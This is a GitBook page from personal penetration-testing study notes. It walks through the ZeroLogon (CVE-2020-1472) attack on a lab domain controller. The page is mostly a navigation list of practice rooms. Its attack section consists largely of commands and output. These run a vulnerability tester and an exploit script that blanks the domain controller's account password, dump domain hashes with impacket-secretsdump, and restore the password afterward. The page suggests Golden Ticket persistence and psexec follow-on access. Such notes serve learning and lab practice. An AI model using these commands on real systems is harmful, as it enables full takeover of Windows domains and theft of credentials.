Practice
  • 🛤️TryHackMe Rooms
    • HackersVsHackers
    • Vulnnet - The End Game
    • Surfer
    • Corridor
    • Mustacchio
    • Wordpress: CVE-2021-29447
    • Bounty Hacker
    • Simple CTF
    • Agent Sudo
    • Lazy Admin
    • Ignite
    • Brooklynn 99
    • c4ptur3th3fl4g
    • Lian_Yu
    • Rabbit
    • Gallery
    • Overpass
    • Team
    • Easy Peasy
    • CmesS
    • Ultratech
    • Wonderland
    • Anonymous
    • GamingServer
    • Tomghost
    • ConvertMyVideo
    • DogCat
    • Blog
    • Git Happens
    • 0day
    • Road
    • Inferno
    • Opacity
    • Market Place
    • Valley CTF
    • Weasel
    • SafeZone
    • Blueprint
    • Fusion Corp
    • Quotient
    • Unbaked Pie
    • Kenobi
    • Steel Mountain
    • Alfred
    • Hack Park
    • Game Zone
    • Daily Bugle
    • Retro
    • Corp
    • Attacktive Directory
    • Vulnnet - Roasted
    • Vulnnet - Active
    • Vulnnet - Internal
    • Enterprise - Hard
    • Iron Corp - Hard
    • Ra - Hard
    • For Business Reasons
  • 📦HackTheBox
    • Linux Boxes
      • Lame
      • Shocker
      • Nibbles
      • Beep
      • Cronos
      • Nineveh
      • Sense
      • Solidstate
      • Node
      • Valentine
      • Poison
      • Sunday
      • Irked
      • FriendZone
      • Networked
      • Jarvis
      • Tabby
      • Mirai
      • Popcorn
    • Windows Boxes
      • Active
      • Forest
      • ChatterBox
      • Resolute
      • Intelligence
  • 🤖CTF's
    • CloudSEK CTFs
    • ACM Cyber - UCLA
  • ¯\_(ツ)_/¯
    • Interview Topics
  • 🪣BOF - OSCP
    • Basics
    • Spiking
    • FUZZing
    • Finding the Offset
    • Overwriting the EIP
    • Finding BAD Characters
    • Finding RIGHT Module
    • Generating Shellcode
  • 📛Active Directory
    • Basics
      • Managing AD Users
      • Managing AD Computers
      • Group Policies
      • Authentication Methods
      • Trees, Forests and Trusts
    • Enumeration Techniques
    • Initial Attack Vectors
    • Post Compromise Enumeration
    • Post Compromise Attacks
      • Token Impersonation - LM
      • Kerberoasting
      • cPassword / GPP Attack
      • URL File Attacks
      • PrintNightmare
      • Golden Ticket Attacks
      • ZeroLogon Attacks
    • Lateral Movement and Pivoting
      • File Transfers
      • Spawning Processes Remotely
      • Moving Laterally with WMI
      • Alternate Authentication Material
      • Abusing User's Behaviour
      • Port Forwarding
      • Maintaing Access
      • Pivoting
      • Cleaning Up
    • Other Resources
  • 🛡️Powershell Basics
    • Getting Started
      • Functions
  • 😁Others
    • API Security
    • Cloud Security
  • Enumeration
    • Local PrivEsc
    • Remoting
    • Persistence
    • Kerberos
Powered by GitBook
On this page
  1. Active Directory
  2. Post Compromise Attacks

ZeroLogon Attacks

PRACTICE ! PRACTICE ! PRACTICE !

PreviousGolden Ticket AttacksNextLateral Movement and Pivoting

Last updated 2 years ago

This is a serious vulnerability which sets the Domain's Administrator password to null :) - The logic behind this vulnerability deals with Windows Cryptographic Security Measures, Let's first test if the DC is vulnerable to this exploit or not using a python script

$ python3 zerologon_tester.py HYDRA-DC 192.168.169.147

Performing authentication attempts...
Success! DC can be fully compromised by a Zerologon attack.

Since now it's vulnerable, let's exploit the DC :)

$ python3 cve-2020-1472-exploit.py HYDRA-DC 192.168.169.147

Performing authentication attempts...
Target vulnerable, changing account password to empty string
Result: 0

Now how do we check if the Administrator's password is really set to null or not ?

$ impacket-secretsdump -just-dc MARVEL/HYDRA-DC\$@192.168.169.147
Password: <Hit Enter>
[ REDACTED ]

We can pretty much generate Golden tickets for persistance, take advantage of any user on the domain and psexec into them and do anything :)

Now how do we restore this ?

$ impacket-secretsdump administrator@192.168.169.147 -hashes <NT Hash>:<LM Hash>

Copy down the hex value and run the restore python script

$ python3 restorepassword.py MARVEL/HYRDA-DC@HYDRA-DC -target-ip 192.168.169.147 -hexpass <HEX VALUE>
[ REDACTED ]
Change Password OK
📛
Plain Password Hex
What Is Zerologon?Trend Micro
Logo